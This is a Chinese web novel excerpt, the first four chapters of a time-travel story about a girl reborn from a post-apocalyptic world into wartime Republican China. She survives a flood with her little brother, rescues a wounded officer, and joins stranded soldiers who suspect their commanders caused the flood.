《民国小百姓》 1、001 晴天里打雷不是稀奇事,晴天里发大水千古未闻。 黄洋洋的大水卷着碎木泥块,锅碗家什,死牛死骡子,以及……死人滚滚而下。若有人站在岸边仔细看,或许会发现,这一眼望不到头的洪水中还漂着两个骑在枯木上的孩子。 这两个孩子小的在前,大的在后,腰间用一根指肚粗的麻绳拴住,在水中载浮载沉已过一天一夜。 顾春妮泡了一整宿,怎么都想不明白,她姐弟是如何遭到的这无妄天灾。 想她从末世穿到这样的乱世,这十二年间不说大富大贵,也能吃饱穿暖,不用拈针拿线下地干活,投胎运气不能算差。可惜从前年她奶奶和娘相继去世开始,顾春妮的好运就到了头。倒霉到今日,已是极致。 想来想去,顾春妮只能怪自己出门没算好日子。 前一天顾春妮领着小弟夏生匆匆到渡口准备乘船去省城坐火车,在跟船家议价的当头,转头看见上游的大河像发了疯的浊龙一样在水中翻波起浪,人头攒动的大河码头,转眼被浊龙吞没,化为白茫茫的一片泽国。 那景象,便如末世重临! 顾春妮只来得及攥紧弟弟的手腕,便被巨浪拍进了奔涌无尽的河水之中。要不是她从前世带来的空间有点物资,姐弟两个内外交困,只怕早变成了河中的浮尸之一。 “姐,你再跟俺说说,俺爹家的好日子呗。” 夏生仰起小脑袋,他想望天瞅瞅时辰,可眼前白花花的全是水影子在晃,他什么也看不清。恍忽中,他想起奶奶跟他说的:一条水影子就是一只水猴子。水猴子躲在水底下,只要看见有小孩子入水,就会伸手来扯。那白花花的这一片水影子,该是多少水猴子藏在底下…… 夏生用力蜷起腿,牙齿格格打战。 顾春妮心里发酸:“不是跟你说过好多回了吗?咱爹家住的房子亮堂堂的,不像咱老屋黑得怕人;家里用的水都是用个叫水龙头的东西管起来的,一拧,那水就哗哗往下流,洗菜洗碗可方便了;还有,每个房间点的灯不叫煤油灯,叫电灯,那灯一拉就亮了,大黑天里连蚊子毛都看得见。还有还有,每个房里都有澡间……” 夏生悠然神往:“我真想明天就到咱爹家。姐,你想咱爹吗?” 顾春妮翻手从空间里摸出颗巧克力糖哄他:“吃颗糖豆吧。” 夏生开心地笑眯了眼,这孩子生来容易知足。 他珍惜地舔着这颗生平吃到的,最美味的糖豆,忽然想起来:“那,那俺爹这些年怎么不来接俺们娘几个?” 她心中一哂:还能为什么,因为渣呗。 顾春妮是胎穿,打从一出生,到六岁那年,她就没见过这一世的亲爹顾茂丰。要不是家里的佣工跟下人说嘴,她一直以为自己是个遗腹子。 原来顾家世代经营着一个茶园,到老太爷这一代开始抽大烟,顾茂丰还没成丁,好大一座茶园就抽没了。还好老太爷没祸害到底,茶园没了,他人也没了,又留下些人脉。顾茂丰生了张巧嘴,胆子也大,才十五六岁就跟父亲的好友出门闯荡,婚后靠着老婆娘家,在南城,海城等地贩卖茶叶渐渐又经营起来。 春妮出生那一年,跟顾茂丰同在海城经商的同乡传话回来,说顾茂丰在海城顶下个大铺子,还置了个二房太太,日子过得不知道多逍遥。又说他曾经放话出来,要洗干净泥巴做上等人,以后都不会回这乡下泥巴坑了。 这话传到春妮她妈耳朵里,当即动了胎气,拼死生下个女儿。不等她妈为渣男干的破事糟心,发现这女儿病猫似的,气息几断几续,差点刚出生又回了鬼门关。 顾茂丰的事让春妮她妈深深明白了一个道理:男人可能是别人的,女儿绝对只会是自己的。 春妮她妈成婚多年才有了这个宝贝疙瘩,这下什么事都抛在脑后,一颗心都扑在了女儿身上。 而顾茂丰就真像他同乡说的那样,从春妮到夏生出生,他只寄过些钱回来,偶尔捎些东西,人从来不见影。即使后头老娘糟糠接续蹬腿上山,他也是最多托人捎了两封信到家。 后来,春妮长到六岁,春妮妈去海城寻过一回夫,半年后,回来再不提此事。 春妮就是那一次沾她妈的光,一道去的海城。也是那个时候,她妈有了夏生。 若非长辈们接连去世,附近山上匪患越闹越凶,她绝不会小小年纪就带着比她更小的弟弟南下海城去寻亲爹。 这年头,失去庇护的孩子想平安长大,太难了。特别是老家那样王法管不到的乡下地方,乡邻们若起了歹心,是防不胜防的。 顾茂丰再渣,看在夏生是男丁的份上,也不会真不管他们。 时至今日,春妮才明白,那时候她妈无论如何也要再生个男孩的执念从何而来。 她继续用说了一万次的借口:“你忘了,咱娘要留在家乡伺候咱奶奶?” 夏生小脑袋晕得思考不了那么多问题,嘴里呜哝,自己都不知道在说什么:“那咱……” 说着说着,眼皮合了上去。 春妮赶忙去推他:“夏生,夏生。”叫几声不见动静,抖着手试了试他的鼻息,才敢吐出一口气。 夏生跟着她一天一夜没合眼,眼下只怕到了极限。只是河水凉得浸人,夏生小小孩儿熬不住,总这么漂着不是办法。 春妮心神守一沉入空间,找到存放的驱寒姜粉,拍着脸半逼半哄,让夏生干咽了下去。 她极目远眺,见这一片水面上果然只剩下他们两个人,且水流逐渐平缓,终于将空间里那条独木舟取了出来。 不知道是不是死过一回的原因,春妮原先一眼望不到头的空间只剩下不到两百立方。末世之后那些她辛苦搜罗来的海量物资自然也没剩多少,这条独木舟是她有且仅有的,唯一一条。 昨天顾春妮只顾拽紧夏生,生怕他被水冲走,一开始完全没想起来这个压箱底的宝贝。到后边略缓过些气,两人身前身后浊流翻滚,只怕这舟拿出来,当场就会被拍翻。何况那些落水的人为了抓住一块浮木,无所不用其极。春妮见识过太多人心之恶,实在没有信心保住这条珍贵的船。 是以在水里抢到这根木头,姐弟俩暂时安全后,她一直忍到现在,此刻四下无人才将它取了出来。 这条独木舟是她前世去水上乐园找到的战利品,舟长不到两米,最多只能容许一个成年女子蜷缩着躺下去。现在两个孩子坐上去,还挺宽绰。 春妮让夏生靠在自己面前,拿出温度计,给夏生量完体温,又找出压缩饼干一人吃了一点,用干净的毯子将他浑身擦过一遍再裹起来,最后举起船桨奋力划了出去。 大概感觉自己到了安全的地方,夏生紧紧蹙着的小眉头放松下来,咕哝一句,歪头睡了过去。 春妮望着他无忧无虑的睡颜,心里有些羡慕。她这具身体刚满十二岁没多久,当然也是累的。但在末世混过这么多年,她非常明白,越是平静无波的环境,越有可能杀机暗伏。 末世里锻炼出的强大精神力给了春妮很大的帮助,她划划停停,又是小半天过去。 中间夏生醒来,对这艘救世主一样的小舟非常感兴趣,缠着春妮问了很多问题,又勾着身子将船摸了又摸,不得不在姐姐的恐吓中乖乖坐下来,没一会儿又睡着了。 这场仿佛来自远古的大洪水一瞬间冲毁了所有文明,春妮从白天划到黄昏,除了天上盘旋的秃鹫群和偶尔从舟边游过的鱼虾,基本没看到其他活物。 太阳沉下半个身子,将浑黄的水面映得一片金红。 春妮揩了把脸上的汗,感觉怀里的夏生动了动,拿出离家前烙好的饼子:“醒了?来,吃块饼。” 春妮的空间可以让物品一直保持刚进去的状态,她那时先顾着弟弟,这饼不免泡了点水,好在随后就被她收进了空间,现在又晾了一整个白天,除了去不掉的水腥味,已经重新变得干燥很多。夏生显然饿极了,以前在家乡偶尔还有些挑食,现在捧着有异味的饼吃得津津有味。 他白天睡得不少,吃完饼之后,最后一丝困意也没了,又开始趴着船舷好奇地往水下望。 只要不过于淘气,春妮一般不会太过管束他。她分神盯着弟弟,望着天尽头开始发橘的落日,也掰了块饼放进嘴里。 春妮吃得很快,无数次的经验告诉她,夜晚才是最危险的时候,她必须趁夏生醒来的这会儿养精蓄锐。 前天她听码头的乘客说过一嘴,现在倭人跟政府军在东海省打仗。东海省就在他们县的下游,只隔着一个市。以前渣爹就是经常走水路去的东海省,若是顺风顺水,不用一天就能到东海省。只是现在打仗,走水路过于危险,很多客船都停了航,他们才决定坐的火车。 她顺流往下漂了这么久,不得不往最坏的地方打算。 “姐姐,你看这是什么?”夏生指着一个地方突然叫起来。 春妮看了一眼,一手捂住他眼睛:“别看。”那是一缕血线。 随着船只的前行,那缕血线越来越宽,宽到春妮几乎以为自己将要驶入一条血河。 她取出望远镜看了会儿,果不其然,这里应该是一处战场。那些漂在河上的浮尸统一穿着两种颜色的制服,一种是土黄色,一种是灰色。 灰色的衣裳春妮认识,那会儿政府向村里征兵,来的人就是穿灰衣裳的。 她转动着木桨,向血流最少的方向划过去。 “姐姐,我能睁开眼睛了吗?” 夏生睫毛抖动着,紧紧拽住春妮的前襟。 春妮摸摸他的头发,正在这时,静悄悄的河面响起一声浊重的呼吸。 2、002 异能者的各项身体素质会得到最大程度的提升强化,虽然春妮觉醒的不是五感精神系异能者,能力也远远比不上前世,但她对感知的触角也不是一般人比得上的。 比如现在,夏生无知无觉:“姐姐,还不能睁眼睛吗?” “再等等。” 刚才的呼吸声更像是一缕轻风带起的呜咽。 但春妮知道那不是风声,她的耳力不可能分辨不出这点差别。 “哗啦哗啦”—— 是水流的声音。 可这里是一道凹型的水弯子,两端的出口都被水草等杂物堵住,水流又这样平缓,不可能有这么急的水流声。 任何不合常理的声音都会是危险的信号。 春妮将他的肩膀往下按:“趴下,趴好。” 她反手抽出个眼罩,让夏生戴上:“再等一会儿,别出声。” 夏生原本充满忧虑的眼睛亮起来:蒙上这块黑布后,要安静,要乖乖,要听姐姐的话,他很懂的。 娘刚死的那段时间他天天哭,生了好几回病,有一回他特别热,热得他都觉得自己变成了炭火,姐姐用这块黑布蒙上他的眼睛,说给他变戏法看。他还问姐姐,是不是能给他把娘变出来,后来,娘没变出来,但夏生吃到了脆脆的饼,还有软软的面包,还有又苦又甜的巧什么力。 他长这么大都没吃过这么香甜,这么好吃的零嘴儿。姐姐说,这些都是一般人吃不到的好东西,她好不容易保存下来的呢。如果让坏蛋堂伯堂哥们知道了,他们肯定会跟娘刚死那阵子一样,把它们全都抢光光。 安顿好夏生,春妮扒住船舷微微抬头,只露出一双眼睛,再次取出望远镜,打开红外线夜视功能。 太阳完全沉了下去,天际上寥寥两颗星,望远镜里漆黑一片。 这片水弯大约有两个篮球场那么大,密密麻麻飘着数十具尸首。黑夜将望远镜的夜视功能发挥到极致,春妮一寸一寸地搜索,终于,红外线照出了一个模糊的人影。 春妮皱起了眉,那人影前边是一堆桌椅柜子之类的杂物,只看得见,两条穿着长筒军靴的腿在随着水波荡来荡去,如果不是红外线,她肉眼看过去,只会以为后面是一具尸体。 在末世,连小孩都不会轻易相信一具尸体。 那双腿呈趴伏状,那些桌椅杂物像掩体一样,牢牢挡住了它的上半身。从春妮的方向看过去,更像一座迷你的堡垒。 犹豫片刻,春妮决定先去看看情况。 很多人以为,末世中最缺的不是物资就是能源,其实都不是,末世里最缺的,是人。种地,养殖,纺织,修路,科研……哪一样不需要人?可惜在末世刚开始那几年,那些蠢货为了抢夺资源先打成了一锅粥,光是死在内耗的人就不少于死在末世的人!后来因为人口太少,他们再也腾不出精力去像古代圣贤治水一样征服这场灾难,只能苦苦坚守,甚至是不断收缩阵地。 春妮死之前,几个大型基地之间合作已经相当深化。因为它们中最大的只有不到十万人,即使这十万人中异能者数量高达三成,但想组织一次大型远征,必须基地之间毫无保留地合作配合才有可能成功。 后来基地之间联合颁布了如《人类保护法》《同胞救助法令》《孤儿福利补贴办法》等各种法规和奖励措施鼓励要求,甚至是强迫所有人在力所能及的情况下必须帮助拯救有困难的同胞,如果有人执意见死不救,还会受到大小不等的惩罚。 春妮是末世中成长起来的第一代孩子,从小受到这样的教育长大,人命的可贵已经是她不可更改的信条。在自己生命得到保全的情况下,她没办法做到见死不救。 她在空间中找到一块相对趁手的短木板,顺便给夏生嘴里塞了颗水果糖,右手伸出船舱,将木板探入水中,小心调整着独木舟的方向,准备先绕到后面去看看。 春妮计划得很好,可她以前没划过几次独木舟,这块木板又不是船桨,她一只手划去划来,那船不但没按她预计的方向划去,反而打了两个圈,离那堆杂物又近了一点。 春妮不得不勾起点身子,划动木板将独木舟的方向拨正。 就在这时,那两条腿下的水逆流波动了几下,发出沉闷的撞击声,搅动的水花一波波向外荡去。 “咔。” 春妮汗毛一竖,这声音好像枪栓拉动的声音,她立刻翻身卧倒! “啪”—— 真的是枪声! “快跑!” 暴喝声中,木柜轰然倒下! 两个人从后面翻滚出来。 这两人都是一只手扒着一扇门板,一只手掐着对方的脖子,都在拼命把对方脑袋往河里按。 春妮飞快抽出船桨,她知道,这个时候应该快点远离战场。 刚刚那粒子弹落在她身后的水面上,说明对方完全有能力置她于死地。 她迅速掉了个头,一边关注着战场,木桨探入水中。 只作了这两个动作,战斗已经分出胜负。面对春妮的那个人显然是个格斗高手,他忽然撤出另一只手,趁门板平衡被打破的那一瞬间欺身而上,抓住另一人的头肩就是几下肘击,那人脑袋歪倒在一边,身体往下沉去。 胜利方毫不恋战,踢开人就势翻身上板。春妮看见,门板上,他腿上那双及膝的军靴淋淋滴着水,在月光下反射出冰冷的光泽。 春妮反手就是一桨,不退反进,小舟如离弦之箭,向刚刚战斗的地方射来! 这个人想杀她,他还有了扇门板,绝不能让他活着威胁自己! 春妮两桨下去,两边的距离拉近了一半。 但就在这时,她又听见了一声“咔”。 春妮卧倒之后,半晌却没听见第二声枪响,抬头一看:那人卧在木板上,两手两脚乌龟脚似地在水里倒腾,离她已经不到两米远。他的枪就放在旁边。 两人视线相对,他兴奋地咧开嘴,仿佛这个比豆芽粗不了多少的小姑娘已经是他的囊中之物。 这样的小女孩,他在华国见过很多个,她们胆子非常小,只要吓一吓…… 春妮眼睛沉下去,听着水流的声音,掏出匕首,将呼吸放到最低。 一分钟后。 将这人尸体踢到一边,春妮呼出一口气,向另外一人沉没的方向看去。 现在离得近了,春妮已经能看清被她杀死那人的衣裳式样,淡黄色的呢绒制服,这是一个倭人。 另外那人的身份就呼之欲出了——政府军。 末世学校不会专门开设历史这种不实用的科目,春妮最多只知道华国建国年份,记住几个重要事件发生的年份已经算她学识渊博了,她所有对政府军的印象也都来自于这一世。在乡下见多了这些灰皮狗勾结乡绅,借剿匪的名义鱼肉乡里,春妮对他们没什么好感。 这几年县里征丁一次比一次频繁,原本每个乡都是拟定好的名额,但家里有钱的,塞钱就不用去,那空缺出来的人数便要由其他人家顶上。她们村里王地主家人最多,七亲八戚占了起码村里的四成人口,他又在县里有关系,每次征丁,其他人家必须填王家人的坑,遭的是双倍的难。住她隔壁的江婆婆,生了四个儿子,全被拉上战场,前面三个都没回来。今年到江四叔时,政府军说得好好的,家中独子不征,事到临头,却以她有孙子养老为由,硬把江四叔拉上了军车。 江婆婆孙子一个八岁,一个三岁,儿子走后,几个儿媳妇死的死,改嫁的改嫁,留下江婆婆祖孙,老的老小的小住在茅草房里苦挨日子,还不知道明天在哪里。如果江婆婆藏好她送的那几床棉被,也许他们可以顺利熬过冬天。 但别人再坏是别人的事,这个政府军救了她。 春妮把人扯出水面时,发现他从右脸到右肩都是血,受伤应该不止一处。但他只隔着衣服,用根布条在肩膀上草草包扎止住了血。 即使他仍然有呼吸,但身受重伤,又不知在脏水里泡了多久,想活下来仍然很难。 春妮脱下他的衣服他也完全没有反应,只有她揭下他伤口上的布条时,他伤口附近的肌肉猛地抽动一下,眼睛睁开了一线。 “往东走。”他声音极其沙哑,像是伤到了喉咙:“有……地方……治伤。” 春妮决定先听他的。她喂那人喝了点淡盐水,又塞了颗麦芽糖让他补充体力,最后划船远远避开这一块的战场。划了大约半个钟头,远远的,一顶坡状黑色房顶出现在前方。 那房顶下直插着一圈白瓦瓦的墙,像是一栋被泡了一半的小洋楼。 “是不是那里?”春妮拍了拍他的脸。 他用力撑开眼皮,看到房顶的那一瞬间,他嘴唇褪去了最后的颜色:“这楼有三层高的!” 春妮默然片刻:“也许楼里的人在洪水来临前就逃走了?” “去,去看……”他脑门沁出汗珠,说不出完整的话。 “姐姐,还没有好吗?”夏生一直蜷在船舱里没出声,春妮差点忘了他。 他的声音并不大,但周围这样安静,他的话立刻有了回应:“外边有人!有人来了!是谁在外边?” 春妮低头看那人。 “三十五军成永平。” 春妮大声传话。 小洋房的骚动声更大了:“是不是成营长?成营长,我是三连的李二毛!我就说我们营长不是那种人,他不会丢下我们自己跑的。” 其他人也纷纷叫起来:“营长,我前天听见有爆炸声,你们先前是不是碰到了倭人?” 这些人不等春妮回话,七嘴八舌先交代了自己这边的情况。 这时,一道尖细的女子声音穿透这些男人的嚷叫:“成营长,咱们的药全泡了水,您这里有药没有?” 成永平沉默片刻:“先靠过去吧。” 3、003 “最先开始只淹了一楼,今天二楼也住不了了,我们就搬到了这。但头一波洪水来得太快,一楼好多兄弟们都没来得及……” 春妮姐弟靠坐在角落,听那些伤兵们你一言我一语交代情况。 她现在果然已经漂到了东海省的地盘,这一带发大水前是个跨省大湖,这栋三层的白色小楼就是本地富商建在湖边的别业。东海省地势平缓又多水,湖水涨潮,如果跟其他水脉相连,淹掉一整个县都不是问题,难怪她怎么划都划不出水泽的范围。 事发前,倭人跟政府军在此地打仗,这处别业是被征用的战地医院。医院第一层放的是无法挪动的重伤员和手术室,第二三层住的伤员伤势略轻些。洪水来时,医生们都在手术室做手术,只有留在外面的两名护士抬着楼梯口的两个重伤员逃上了楼。 现在这栋楼里所有的活人都集中在这个房间里,其中重伤号两名,行动不便的伤员十六名, “幸好洪水来前,大部分伤员都被营长转移走了,不然咱们这里两百多个人,光是吃饭都要愁死。”第三楼有四个房间,其中一个放的是补给,这两天这些人就是靠堆放在这里的粮食撑下来的。可惜为了方便拿取,药品都放在一楼,现在也不用指望了。 “饭是有了,没药也撑不过去。”一个腿上打着石膏的麻子脸愁眉苦脸:“你看他们,都烧两天了,再不退烧,以后好了也会是个傻子。” 沉默中,护士里较丰腴的那个说:“成营长要清创包扎,还要做手术取弹,咱们这除了几瓶葡萄糖,什么都没有,可怎么办?” “我,不要紧。”成永平一个字一个字往外蹦:“拿块烙铁来。” 春妮眉心一动,其他人也明白了他的意思:“成营长,可使不得啊。想止血咱们再想别的办法,用烙铁会治坏人的!” “就是啊,你体内子弹还没取出来,可不能这么干!” “其实,我这还有些药。”一道细弱的声音响起来。 众人循声望去,是那个送成营长来后就一直没出声的姑娘。见他们这些人瞪过来,这姑娘缩了缩脖子:“是我出门时在山上采的,不知合不合用。” “真的?快拿上来我先看看!”护士们很惊喜。 独木舟就停靠在这层楼的大窗户下面,春妮灵活地爬上爬下,很快取来一个大包袱。 两名护士如数家珍:“蒲公英,蛇床子,白芷,生姜,桂枝……”略矮的那位陈护士好奇:“顾姑娘,你怎么带了这么多药材?蒲公英跟白芷,正对咱们的症!唉哟,还有田七和粗盐,这可是好东西,你帮我们大忙了。” 春妮作出庆幸的神色:“我家在山里,平时没事我们会进山采药卖给药铺。这回出远门,我怕盘缠不够,就把家里的药材拿出来,看能不能到县里换点钱,结果刚到码头就遇到这事,幸好包袱没丢。” 她不完全在说谎,这些药材她原先存放在空间。有些的确是她这一世采的,有些就完全是上一世的积累。就在刚才,她也没有准备拿出来。乱世中,有些药比黄金还贵重,这些全是她给夏生和自己准备的。 不过现在不是末世那种极端情况,她的药也有余量,拿一点出来不成问题。说不定明天还要靠这些人领路走出困境,她多释放点善意不会错。最关键的,是成永平喝过她喂的淡盐水,他不可能不知道盐可以杀毒,可他宁愿用烙铁烙伤口,也没有想到谋夺占为己用。 这人是个好人。 这样的年代,好人难得。 拿到药材,陈护士借油灯的光亮开始处理药材。 另一个夏护士没接触过中药,不敢随便凑上去添乱,就找春妮聊天:“听妹子口音,你是从邻省飘过来的?是你们那的堤决口了吗?” 春妮摇头:“没有啊,我来时好好的,我们那好些天没下雨了。” “那还在你们的上游?”另一个人也加入了谈话。 “这我就不知道了。” “哪能不知道呢?每回发大水,俺们村人一准猜得出来是哪发的。” “你们村人咋知道?”有人问。 “你问问河边住的人,哪一次发大水不是连着下几天雨?官府不害怕,不安民吗?再差的堤,也能顶个两三天才溃,姑娘你仔细想想,你们那河沿上边是不是有地方连下了几天的雨?”先问春妮的人急得瞪起了眼睛。 夏护士怕她叫这些人吓到,忙道:“这是我们的王排长,人人叫他王大嘴。他声音大了点,但人不坏。” 春妮认真思索很久,仍是摇头:“没有。” “不能啊,”王大嘴很有经验:“这么大的水,你看都冲到咱这湖里了。洪老四,你是本地人,你不是说你长这么大,都没见过这么大的水吗?” “是啊。” “那就中了!”他一拍大腿,坐直身子:“我寻思这么大的水,只有一个原因说得通!” “什么原因?” “沙河改道!”他一字一字地,仿佛亲眼所见。 周围人愣愣的,听他道:“你想啊,不是因为这个,这妹子能从沙河一路冲到咱这湖吗?我就琢磨,指定是哪下雨把沙河弄决了口子。姑娘你真想不起来?” “王大嘴,别瞎胡吹了。你说沙河改道就改道?知道沙河多大吗就敢瞎说?几辈子遇不上的事就你会叨叨。你以为沙河是你儿子,你指东不撵西,你让改道就不敢憋气?说点有用的!”跟王大嘴抄同样口音的中年瘦子把他一顿好骂。 “这是王保全,是他族叔。”夏护士在旁边补充。 王大嘴就两手一摊:“咱现在被困在这,能有什么有用的话说?嘿嘿,幸好我弟弟早一步被成营长转移走,只要他现在好好的,我怎么样都行。” 这话一说,大伙就歇火了。 王大嘴也有些后悔自己哪壶不开提哪壶,就听那划船来的小姑娘又说话了:“成营长他不是在前边打仗吗?怎么又负责转移你们了?” 王大嘴翻眼道:“谁说的?俺们大部队比俺弟弟还早走一天呢,这一片就那些倭人还傻转悠,打个鸡毛鬼的仗啊!” 没有预兆的大洪水,正巧发出的撤军令……春妮心里难以克制地产生了一个可怕的联想,但她很快压制住。 “这么说,这一带真只剩下我们几个?”一个倚墙靠着的瘦子惴惴道:“听说倭人已经把离县县城拿下来了,他们会不会来搜我们?” “这个陈有根胆子最小,点根炮竹都害怕,你别被他的话吓到了。”夏护士小小声,春妮点头对她笑笑,领受了她的好意。 “陈有根,上这么多回战场,你咋胆子还只有这一点?我们都淹成这样,倭人只能比咱更惨,他们指定没功夫来找我们。要我说,司令部这回总算做了回人事,碰巧在发大水前撤了军,不然还不知道有多少兄弟要折在大水里头。” “好个屁好!”另一人突然大骂:“兄弟们辛苦守了这么多天,他妈的姓谌的一声令下就把城让了出来。老子在前边拼命的都不怕,他一个大老爷倒吓破了胆子,老子这辈子就没见过这样的窝囊废!跟着这样的废物,把老子的脸都丢尽了!” “涂铁柱。听说他是政府军收编的土匪,现在是个连长。”夏护士的小道消息看来不少。 “吵吵吵,都跟个女人似的,吵吵啥呢?一屋子病人还让不让人睡了?” “哎哟陈护士,您上完药了?成营长,成营长你怎么样了?” 夏护士正要说话,一群人涌了上去。 “成营长你可不能出事啊,兄弟们可还指望着你带我们出去呢。” “散开散开,别围着了。赵大麻子,手往哪伸呢,压到成营长伤口了!” 成永平疼得脸上肌肉一阵抽搐,神色显得异常狰狞:“我,听,见了。有,什么事?” 其他人讪笑,不约而同退后:“没有没有,我们就是担心您,怕您出事。” 成永平吸气吐气,看到春妮时,放缓了神色:“顾姑娘,你有什么事吗?” 春妮本来站在最后,所有人都退后,就把她显出来了。 她本想说“没有”,但刚刚的猜测在她脑海中蛊虫催命般逼她开口:“我是想问问,成营长您是什么时候接到的转移命令?命令的内容是什么。” 不知道是不是疼的,成永平眼睛狠狠眯了一下:“顾姑娘为什么会问这个问题?你知道,这可是军机?” 他若是直接回答还好,但他这样一反问,春妮反而觉得,是不是真的哪里有鬼…… “您先回答我这个问题,我想,我值得您一个答案。”春妮从末世来,她从来知道人类犯蠢跟他的社会身份,以及智商都没有必要联系。 有些权贵犯的蠢说出来都不一定有人会相信。 成永平这次沉默的时间很久,久到其他人都发现了不对,屋里的私语声停止了,连陈护士捣药的动作都慢了下来。 “我没有接到所有伤员撤退的命令。”他的半边脸包着,盯着天花板仿佛出了神。 这可真是个连春妮都没想到的答案。 “成营长,你当时可不是这么说的!” “你为啥骗俺们说接到命令了?” “都给老子闭嘴!”哗然中,涂铁柱扒开众人,揪住他的衣领:“成永平,你把事情说清楚。” “那你自己接到撤退的命令了吗?”春妮突然又问了:“你的命令是什么?” 成永平眼神有一些涣散:“我接到的命令是‘率你部立即撤退’。” 死一般的寂静。 “那,那你怎么没听他们的?” “我到达指定的地点后,发现所有人都到了,除了伤员,没人能说清安排。我看还有时间,领着人回来看了看。” “成营长有个兄弟,之前在咱们医院治伤。”夏护士跟春妮解释说。 “所以说,现在的问题是,为什么打得好好的会突然撤退,连伤兵都不管了。”终于有人问出了那个问题。 说话这个人的肩章比成永平多一颗星,应该品级比他高级,是个团长? 王大嘴抖着手想点烟:“你们是想说,那些老爷们把我们扔在这不管了?离县不是守得好好的?到底出的什么事,他们连伤兵都不要了?” 这位此前一直在维持秩序的中年团长走到窗前,望着一波一波的水流,默然不语。 涂铁柱猛地站起来:“他妈的,我想明白了!又是发大水,又是撤军,两件事这么巧,老子才不信这里头没事!说不定那水就是上头那些狗娘养的东西想学关二爷水淹七军故意放的!这群蠢货也不照照镜子,看自己哪点比得上——” “涂铁柱,别瞎说!”那团长转身怒视他。 涂铁柱眼一横,比他瞪得还大:“怎么?老子哪点说错了?那些当官的什么时候把我们兄弟的命当过命?” “涂老大,”王保全神色铁青:“你怎么不想想,要是真像你说的那样,这一回得死多少人!不管是不是上头做的,都不会有人担这个责。你福气大不怕死,可兄弟我们还想多喘几口气,我求你真的别说了!” 陈有根呜呜哭起来:“完了完了,我们这回真的完了,没人会来救我们了。” 不知道是谁给了他一脚,他悻悻缩到墙根,不敢再大声哭,可那猫挠似的抽答声听在众人耳朵里,更添许多愁闷。 涂铁柱点燃香烟,狠狠吸一口走出门:“妈的。这事瞒不了人,总有一天,老子会搞清楚。” 4、004 五天后 望着远处的城池,几个筋疲力尽的人忍不住高声欢呼:“太好了,终于看到人烟了!” “都他妈小声点!”涂铁柱手提木棍,一人一个狠狠敲过去:“抬头看清楚了再嚷!” 滚滚烈日下,一杆倭人旗帜斜挑在城头。 众人心头一凉:“这里也成了倭人的地盘?咱们可还怎么进城?” 涂铁柱拿胳膊撞撞成永平,后者正在沉思中:“成营长,问你呢,怎么办?” 不等成永平回答,有人就不满道:“问他干什么,他说得出个屁!” “喂,赵大麻子,说话当点心。要不是我们营长,你当你现在还能好好的?”李二毛跟成永平同出三十五军,这几天一直在照顾他,对他的为人很佩服。 赵大麻子翻着眼睛:“吹牛也不怕闪了舌头,我们能出来,要谢的该是顾妹子的船,跟他姓成的什么关系。” 经过那晚的详谈,以赵大麻子为首的几个伤员对所有的政府军官员恶感极深。加上水势一直在持续上涨,他们第二天不得不仓促撤出临时医院,由于船只不够,不得不抛弃所有补给。伤员们的怒火无处可泄,便总找几位长官的麻烦,偏偏成永平头上有伤不好争执,最后形成了如今的局面。 “话不能这么说,成营长为了返回来救咱们,自己带的兄弟都遭遇倭人全死了。不让咱们撤退的是上官们,赵大麻子,说话要讲良心,成营长可没啥对不起咱们的。”王保全说了句公道话。 经过这几天的同行,春妮也弄明白了那天发生的事。 那天成永平在转移伤员的过程中遇到大水,跟一队倭人冲到了一处。倭人们凶残,成永平方也不弱,两边杀起来,拼了个你死我活。 战斗中,成永平身中两枪,冲到一处水洼子里昏了过去。他运气好,昏迷的地方应该是一处房顶的烟囱,他脑袋被烟囱托起来,腰下缠着稻草,这才捡了条命回来。 等他再醒时,发现前边有个倭人正趴在一块门板上。他思量自己身受重伤不好力拼,草草给自己包扎了一下伤口,预备相机而动。这时,倭人突然擦起了枪,翻身卧倒做了个瞄准的动作。他本能觉得不好,趁其不备摸到倭人身后,这才发生了后边的事。 他可真是个好人。春妮再次感叹。 那么这位好人,他现在在想什么? “我就不进城了。” 春妮心里叹口气:果然。 涂铁柱瞪大眼睛:“昨天咱们不是都说好的,你不进城还想追上大部队不成?” 见成永平不语,其他人也急了:“成营长你可别犯混,人家江团长想回去我理解,可你是违抗军令跑出来的,你再回去军部可饶不了你!” 成永平的嗓子这两天养好了不少,仍是有些低哑:“当年我弃笔从戎就是为了打倭人,倭人不退,我也不会退。” 其他人面面相觑,江团长拍了拍他的肩:“老弟一片忠心报国,老江佩服。你不是临阵脱逃,回去后老江我一定会去军部为你说话,担保你无事。” 成永平点点头,脸色并没有多好,望着其他人:“几位弟兄们,你们都定好了?” “老子不像你这么傻。老子可不想老子在前边扛枪,后边给我炸膛,死都死得憋屈。与其听这些乌龟王八的话当了糊涂鬼,还不如老子回山里自己干。”涂铁柱环视一圈:“我再问一遍,你们还有谁想跟老子一起走的?” 王大嘴叔侄俩没说话,站了出来。还有赵大麻子,连陈有根这个胆小鬼都站到了涂铁柱身后,有他们几个在前,还有几个人也很快表了态。 “我当年是顶我们村张大户儿子的名来的,家里就我瞎眼的老娘和小妹子两个女人,从我吃兵饭那年起,就没收到她们的信,不回去看看我不放心。”也有人有另外的打算。 成永平望了眼江团长,江团长最后道:“咱们哥几个也是并肩走过这一路。别的忙我们帮不上。回去后我同成营长会给你们报阵亡,保你们没有后顾之忧。”又掏出些钱币:“我手上这点钱都分一分,路上不好走。” 王大嘴紧张道:“那营长你可要跟我弟弟说清楚,我怕他多想,到时候出事。” 要交代的交代完毕,除了几个行动实在不便的人在前两天被他们藏在老乡家养伤,大家都有了各自的去处。 几人又望向几个姑娘孩子,陈护士苦笑:“我家已经没了,除了部队,我哪也去不了,我跟着两位上官走。” 前几天,夏护士告诉春妮,去年陈护士一家人都死在倭人手中,陈护士从医专毕业后,便报了随军医护班,跟着大部队一年转战多次,到了离县。 夏护士原名叫夏风萍,是海城人,去年海城会战,她志愿进了医护队做护士。会战结束后,她背起包袱直接跟着部队到了这里。她已经跟春妮说好,两人到时结伴回家。 当时江团长劝她多想想,她恶狠狠地:“姑奶奶随军是想报国死在战场上,不想被那些蠢货害死!反正海城现在是倭人的,逃兵是吧?有本事让军部执法队到海城来抓我啊!” 几人一路走来,不是没有遇到危险,也积攒了些情谊。此时面临分别,陈护士有些伤感:“咱们结伴走多好,非要分开,以后遇到个事,你们几个伤的伤残的残,该怎么好。” 涂铁柱挥手:“妹子还是先担心自个儿吧,政府的那些王八蛋又不知道缩到哪个乌龟壳里去了,你们三个可有得找。再说了,哥哥几个命贱,有一把猪草就能活。山水有相逢,说不定咱还有再见的一天呢?” 